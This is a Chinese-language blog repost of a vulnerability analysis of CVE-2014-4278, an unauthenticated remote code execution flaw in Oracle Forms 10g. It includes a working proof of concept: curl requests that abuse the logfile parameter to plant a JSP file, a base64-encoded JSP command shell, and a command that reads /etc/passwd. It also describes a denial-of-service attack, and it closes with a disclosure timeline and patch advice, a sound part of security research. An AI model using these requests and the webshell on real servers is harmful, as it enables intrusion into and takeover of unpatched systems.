forms oracle runtime_Oracle Forms 10g 未认证远程代码执行漏洞分析(CVE-2014-4278)

Oracle Forms 10g 未认证远程代码执行漏洞分析(CVE-2014-4278)

2014-11-01 20:28:25

阅读:0次

漏洞描述

Oracle  Forms 10g 代码没有正确地验证用户的输入,会导致未授权用户在远程的Oracle Form 服务器上命令执行。

这个漏洞也影响 Oracle E-Business Suite 12.0.6, 12.1.3, 12.2.2, 12.2.3 and 12.2.4 [1]

漏洞细节

当用户在运行Oracle Forms 的应用程序时,这个应用程序首先会调用一个 FormServlet类去初始化连接,然后调用 ListenerServlet 类,而ListenerServlet类在远程服务器后台运行frmweb 进程。

正确调用 ListenerServlet类 的 URL类似于http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1

有了以上的URL,正常的frmweb 进程会以 以下参数运行frmweb server webfile=HTTP-0,0,0,em_mode,127.0.0.1

这里 ifip 的参数是受到用户输入控制的, 然而frmweb 可执行,然而需要另外一个参数logfilefrmweb server webfile=HTTP-0,0,0,em_mode,127.0.0.1,logfile

logfile这个日志文件可以由用户任意取名,是通过请求创建的;

日志内容包含如下日志名称等等:FORMS CONNECTION ACTIVITY LOG FILEDeveloper:Forms/LogRecord [Fri May  9 16:46:58 2014 EDT]::Server Start-up Data:Server Log Filename: logfileServer Hostname: oralin6u5x86Server Port: 0Server Pool: 1Server Process Id: 15638

Oracle Forms 应用程序没有很好地验证logfile的参数,而且允许目录遍历。通过控制传递给 ListenerServlet类的参数ifip ,攻击者可以控制 logfile的位置以及其部分内容。当远程Web服务器配置不当时,比如允许jsp文件运行在 http://host:port/forms/java 目录时 ,攻击者可以上传webshell,并且在服务器上任意执行。

技术挑战

Web 服务器好像不支持空格以及空行,也限制了可以传送到 frmweb上执行代码的字符数量,为了要执行操作系统命令,需要自定义jsp shell来绕过这些限制。

验证

POC(观点证明) ( 测试环境Oracle Development Suite 10.1.2.0.2 ;Oracle Linux 5u6)

1. 上传 一句话命令(编码后的版本见Other Notes)

curl --request GET  'http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1,./java/.jsp'

2. 然后,攻击者通过

http://127.0.0.1:8889/forms/java/.jsp执行系统命令,为了获取执行结果,可以参考 fuzzdb的这个cmd.jsp [3] shell,使用第一个shell来写入第二个jsp shell

curl --request GET 'http://127.0.0.1:8889/forms/java/.jsp?cmd=/bin/sh&cmd=-c&cmd=echo%20PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKiIlPjwlU3RyaW5nIG9wPSIiLHM9IiI7dHJ5e1Byb2Nlc3MgcD1SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7QnVmZmVyZWRSZWFkZXIgc0k9bmV3IEJ1ZmZlcmVkUmVhZGVyKG5ldyBJbnB1dFN0cmVhbVJlYWRlcihwLmdldElu-cHV0U3RyZWFtKCkpKTt3aGlsZSgocz1zSS5yZWFkTGluZSgpKSE9bnVsbCl7b3ArPXM7fX1jYXRjaChJT0V4Y2VwdGlvbiBlKXtlLnByaW50U3RhY2tUcmFjZSgpO30lPjwlPW9wJT4%3d|base64%20--decode%3E./forms/java/cmd.jsp'

3. 第二个shell现在位于http://127.0.0.1:8889/forms/java/cmd.jsp,  演示获取 /etc/passwd的内容,可以通过以下操作

curl --request GET  'http://127.0.0.1:8889/forms/java/cmd.jsp?cmd=cat+/etc/passwd'

对于 Oracle的建议

1. 创建一个允许出现在用户输入中的白名单,包含明显需要排除的黑名单

2. 如果不需要的话,去除 对jsp 文件的解析支持

其它笔记

url编码过的 第一个 jsp shell

Base64编码过的 jsp shell

Oracle Forms 10g 也易受到 简单的DOS攻击,每次请求一个http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1

frmweb 将会在后台运行,攻击者通过每次请求同样的URL将会耗尽服务器的资源。

我相信这个行为将会在11g的时候修复并且通过连接池的方式解决。

对于 Oracle Form 11g和后续 ,仍然有可能通过不同的参数,存在 frmweb 可执行参数。

然而frmweb好像没有意识到log文件位置的最后一个参数,因此还存在其它的可执行漏洞。

由于 Oracle 已经停止支持10g[2],那个 对于 forms 10g的补丁没有在 2014 10 CPU上[1] 发布。

然而 forms 10g 仍然在商业产品中使用,因此如果你需要继续使用 Oracle Forms 10g的话,应该要打一个补丁,或者建议升级到11g 或 更新.

报告时间

2014 5 .15 漏洞报告给 oracle

2014 6.18 漏洞被 oracle确认

2014 10.14 补丁出现

References

[1] http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html

[2] https://blogs.oracle.com/grantronald/entry/alert_for_forms_customers_running_oracle_forms_10g

[3] https://github.com/rustyrobot/fuzzdb/blob/master/web-backdoors/jsp/cmd.jsp

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值